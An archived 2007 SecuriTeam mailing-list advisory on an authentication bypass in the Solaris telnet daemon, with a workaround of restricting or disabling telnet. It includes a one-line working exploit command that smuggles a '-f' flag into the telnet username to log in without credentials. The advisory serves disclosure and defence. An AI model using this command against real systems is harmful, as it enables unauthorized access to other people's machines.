

[UNIX] Solaris Telnet Authentication Bypass

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-02/msg00029.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxxxx>
 - *Date:* 12 Feb 2007 17:41:49 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.
<http://www.securiteam.com/maillinglist.html>

Solaris Telnet Authentication Bypass

SUMMARY

<<http://sun.com/solaris/>> Solaris is a computer operating system developed by Sun Microsystems. It is certified against the Single Unix Specification as a version of Unix.

The Solaris telnet daemon is vulnerable to authentication bypass.

DETAILS

In some Solaris version, the telnet daemon allows authentication bypass.

Following example will log in you to the system with the user "username" without asking for credentials.

```
telnet -l "-fusername" [hostname]
```

Workaround:

Set telnet to work only with console, disable telnet daemon or block port tcp/23.

ADDITIONAL INFORMATION

[UNIX] Solaris Telnet Authentication Bypass

The original article can be found at:

<<http://blogs.securiteam.com/index.php/archives/814>>

<http://blogs.securiteam.com/index.php/archives/814>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.